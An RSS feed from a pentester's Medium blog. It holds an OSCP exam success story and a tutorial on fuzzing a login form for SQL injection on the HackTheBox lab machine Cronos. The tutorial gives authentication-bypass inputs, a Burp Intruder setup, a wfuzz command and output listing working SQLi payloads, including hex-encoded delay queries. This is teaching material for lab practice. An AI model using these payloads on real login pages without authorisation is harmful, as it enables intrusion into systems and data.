<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sunil Sathyanarayan on Medium]]></title>
        <description><![CDATA[Stories by Sunil Sathyanarayan on Medium]]></description>
        <link>https://medium.com/@sunilsathyanarayan?source=rss-673360417f85------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*geuL6Mrkji3ffZaQ16Ihqg.png</url>
            <title>Stories by Sunil Sathyanarayan on Medium</title>
            <link>https://medium.com/@sunilsathyanarayan?source=rss-673360417f85------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 14:49:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sunilsathyanarayan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Yet Another OSCP success story ..!]]></title>
            <link>https://medium.com/@sunilsathyanarayan/yet-another-oscp-success-story-522c3bdc2965?source=rss-673360417f85------2</link>
            <guid isPermaLink="false">https://medium.com/p/522c3bdc2965</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Sunil Sathyanarayan]]></dc:creator>
            <pubDate>Mon, 29 Jun 2020 22:53:26 GMT</pubDate>
            <atom:updated>2020-06-29T22:56:00.005Z</atom:updated>
            <content:encoded><![CDATA[<h3>Yet Another OSCP success story ..!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQiwkxY5OyshmKIeUQoY_A.jpeg" /></figure><p>As title says I passed my OSCP exam finally on my third attempt, and as you are aware OSCP is one the most difficult entry level exams out in the market mainly because of the Infamous 24hr exam and <strong>#tryharder</strong> mantra. It makes me feel incredibly happy for surviving the exam on third attempt.</p><p>Its quite common ambition for anyone trying to get into the field of penetration testing to have OSCP next to their name, I am one of them too, And I hope this article helps OSCP aspirants.</p><h3>Background</h3><p>Started professional journey with Bachelors Degree in Electrical and Electronics Engineering (2013) and worked in Embedded software development for ~2years before deciding to get into hacking.<br>Got my Master’s Degree in Information Systems Security (2017) to kick start my info-sec Journey, but I was not just good enough yet for the info-sec, and could not get a decent job, so went back to working in my old place but this time as a python developer and later moved as solution Engineer in Digital Advertising platform helping clients with <em>SaaS</em> based solutions.</p><h3>OSCP Journey</h3><p>Well, that is my day job and at night and free time I prepared for my OSCP, started watching <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">IPPSEC</a> video walk-through and followed <a href="https://www.youtube.com/playlist?list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj">The Cyber Mentor Zero to hero</a> Penetration testing course before enrolling to OSCP and finally made my mind around May 2019 to buy 60 days lab. Could not get most of it as took too much time solving for exercises but it was necessary evil. towards end of my lab time few unfortunate events kept me away from lab and at the end just had rooted around 15 boxes. But many told it is not sufficient and they were true, so took HackTheBox VIP subscription and started solving OSCP like boxes for around 2 months after my lab, before my first attempt where I failed with just 10 points in hand and second attempt went really well initially but could not get escalate privileges, and finally on my third attempt I could get that one root flag that was missing previous attempt.</p><h3>First Attempt</h3><p>I had followed study plans suggested by <a href="https://medium.com/@falconspy/passing-oscp-exam-attempt-3-efce6b0d6f6c"><strong>Falconspy blog post</strong></a>, which on a very basic level is to time each machine and keep circulating between machines every 2 hours. which was a really good suggestion. and I highly recommend following his <a href="https://discord.gg/fAQPEqw"><strong>discord</strong></a> server.</p><p>Also, I used <a href="https://github.com/Tib3rius/AutoRecon"><strong>Autorecon</strong></a> which is a wonderful tool, but only if you know manual enumeration very well, else please avoid using it until you learn manual way.</p><p>My Enumeration was so bad at that point, I could barely shake anything and ended up only rooting 10 point machine.</p><p>Though, I failed this attempt pretty badly it made me understand where I need to focus on. so this time my focus shifted from automating and time to doing things more manually and understanding methodology.</p><h3>Second Attempt</h3><p>Again due to family reasons and job change, could not get a lot of time to prepare for exam took long break from September to February but used to make time to watch IPPSEC videos over weekend and kept myself on track with HackTheBox CTFs.</p><p>In February Offensive Security updated their lab and made it expensive for lab extension, so decided to go with HackTheBox instead of official lab, any how community support for HackTheBox boxes is really great.</p><p>with little over a month preparation gave my exam in 2nd week of April, this time I was fairly confident on my Methodology and Enumeration. Managed to score 55 points in first 12hrs of exam which I felt was really achievement, but now comes Privilege Escalation which kept me nail biting for another 12hrs without any positive result at the end.</p><p>takeaway from 2nd Attempt : I overly depended on automated privilege escalation tools to give me something simple as CRON job or SUID but OSCP is all about <strong>#TryHarder</strong>. it was not just that simple, understanding various privilege escalation paths was necessary.</p><h3>Third Attempt</h3><p>Now, I took TCM’s <a href="https://www.udemy.com/course/windows-privilege-escalation-for-beginners/"><strong>windows Privilege Escalation</strong></a> course and Tib3rius <a href="https://www.udemy.com/course/linux-privilege-escalation/"><strong>Linux Privilege Escalation</strong></a> course to bridge that gap. both of which really helped me understand privilege Escalation game.</p><p>The Big Day is back for third time, this time I was fairly confident on exam, but there was weird issues with my ISP upload speed it took around 2hrs for me to complete verification as proctor could not see my picture properly. and then next two hours went in BoF which I could not complete because of slow internet, somehow convinced my neighbor for his WiFi and Game was on but had lost valuable 4.5hrs without anything and anxiety had kept me awake previous night as well, which was frustrating. but hard work really started paying me back had 45 points by end of 10hrs(BOF and user shell on both 20 point boxes), which was impressive and myself couldn’t believe it. but that was not enough to pass still had to get 10 point box and root both 20 point boxes or 25 point box to pass. took a small nap for 1.5hrs and was back gain on quest to get remaining points.</p><p>luckily enumerating 10 point box again gave new possibility which gave me root flag and got user flag on 25 point box machine later.</p><p>Now down to 65 points almost there but not there.</p><p>all I have left is 3 boxes with user shell that needs to be rooted. yes …. this is what screwed my last attempt, extra careful this time but at the same time its 16hrs into the exam and I barely had sleep.</p><p>Took another nap for 1hr and was back with fresh set of ideas coming from dream(I am serious). used automated Post exploit tools, started analyzing data closely found a hidden gem hiding in the dark corner for me. and BOOM had root flag. which brings me to 75 points. but still I was not sure about point distribution for user flag (Offensive Security can give upto 50% for user flag, but no one knows for certain).</p><p>I was hunting for more treasure till the end of the exam but hard luck could not get any further.</p><p>with 2 hours left, I checked all my screenshots and notes two times to be sure.</p><p>finally, I could sleep with happiness, and write report next day.</p><p>took 5hrs sleep woke up, started writing report but it was going too slow, started feeling sleepy again took breaks and continued with the report.</p><p>finally submitted the report, but had made mistake while naming it, got mail from Offensive Security saying they cannot accept my report because of the silly mistake, I had to finally explain them about my situation and they were kind enough to accept my report again….</p><p>Waited for 5 Days to get the official E-Mail from Offensive Security...</p><p><strong>I TRIED HARDER.</strong></p><p>Feel free to Direct Message me for any tips for OSCP or penetration testing on my <a href="https://twitter.com/SunilkumarS6">Twitter</a> @SunilkumarS6 or on my blog <a href="http://www.pentestvizard.com/"><strong>www.pentestvizard.com</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=522c3bdc2965" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[User input Enumeration for SQLi using BurpSuite and WFuzz.]]></title>
            <link>https://medium.com/@sunilsathyanarayan/user-input-enumeration-for-sqli-using-burpsuite-and-wfuzz-70d9b3fa005e?source=rss-673360417f85------2</link>
            <guid isPermaLink="false">https://medium.com/p/70d9b3fa005e</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Sunil Sathyanarayan]]></dc:creator>
            <pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate>
            <atom:updated>2020-07-16T20:05:27.712Z</atom:updated>
            <content:encoded><![CDATA[<p>This article shows how to enumerate login page for SQL injection using BurpSuite and WFuzz, and I am considering Cronos machine from HackTheBox retired machines for this example. same can be extended to check user input field on a POST request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/0*xd0Ode4U0rMcPLcq.png" /><figcaption>Cronos login page</figcaption></figure><p>From initial enumeration, we know its a Linux server running Apache and uses PHP, which leads us to suspect a MySQL database server running in back-end to support login page.</p><p>let us visualize SQL query which will be accepting our user input data.</p><pre>$sql = &quot;SELECT id FROM users <br>WHERE username = &#39;&quot;.$myusername.&quot;&#39; and password = &#39;&quot;.$mypassword.&quot;&#39;&quot;;</pre><p>Ideally to bypass authentication we need to pass a username which would change the execution flow. And in this example, it is very simple to achieve it by passing <strong>admin’ — - </strong>where we comment the query after <strong>username</strong> field.</p><p>But queries can be complex sometimes and may not be so easy to visualize like in this example and can get overwhelming when you are just started understanding SQLi, so to speed up and the enumeration we can pass all the possible combinations to the username field and test for SQLi.</p><p>To achieve, I am using a work list from the <a href="https://github.com/swisskyrepo%20PayloadsAllTheThings/tree/master/SQL%20Injection">link</a> and fuzz the user input field to find if the given field is vulnerable for the injection.</p><p>I have sent the request to BurpSuite and passed it to burp intruder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6Rmh_yijvAdn0ySA.png" /><figcaption>BurpSuite Intruder</figcaption></figure><p>Set payload marker to fuzz username parameter and it does not matter what password we enter. and under payloads tab I have copied the list I obtained from the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection">link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-PEs_bGHDd_OxMDN.png" /><figcaption>BurpSuite Intruder Payload</figcaption></figure><p>and now we are set to start fuzzing the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*s2wus2b1Qn6jiTTH.png" /><figcaption>BurpSuite Intruder results</figcaption></figure><p>Now we have multiple 302 status which is nothing but URL redirect unlike the error message which had 200 success which indicates the fuzzing was having different result than the original, this often times is the indication of a successful fuzzing.</p><p>This process can be slow on burp community edition, so alternatively WFuzz can be used for the same, sample code snippet of same is shown below.</p><pre>root@kali:~/Desktop/htb/cronos# wfuzz -c -z file,/opt/SecLists/Fuzzing/SQLi/Generic-SQLi.txt --hc 200 -d &quot;username=FUZZ&amp;password=admin&quot; http://admin.cronos.htb <br><br>Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.<br><br>********************************************************<br>* Wfuzz 2.2.11 - The Web Fuzzer                        *<br>********************************************************<br><br>Target: http://admin.cronos.htb/<br>Total requests: 267<br><br>==================================================================<br>ID	Response   Lines      Word         Chars          Payload    <br>==================================================================<br><br>000201:  C=302     98 L	     215 W	   2580 Ch	  &quot;x&#39; or 1=1 or &#39;x&#39;=&#39;y&quot;<br>000217:  C=200     98 L	     221 W	   2618 Ch	  &quot;declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s)000218:  C=200     98 L	     221 W	   2618 Ch	  &quot;declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 000216:  C=200     98 L	     221 W	   2618 Ch	  &quot;declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000228:  C=302     98 L	     215 W	   2580 Ch	  &quot;&#39; or 0=0 #&quot;<br>000234:  C=302     98 L	     215 W	   2580 Ch	  &quot;&#39; or 1=1 or &#39;&#39;=&#39;&quot;<br>000065:  C=302     98 L	     215 W	   2580 Ch	  &quot;admin&#39; or &#39;&quot;<br><br>Total time: 8.873858<br>Processed Requests: 267<br>Filtered Requests: 263<br>Requests/sec.: 30.08837 </pre><p><em>My blog : </em><a href="http://www.pentestvizard.com/"><em>www.pentestvizard.com</em></a><em> </em><a href="https://twitter.com/SunilkumarS6">|Twitter</a></p><p><em>Originally published at </em><a href="https://pentestvizard.com/login-page_SQLi_enumeration/"><em>https://pentestvizard.com</em></a><em> on March 26, 2020.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70d9b3fa005e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>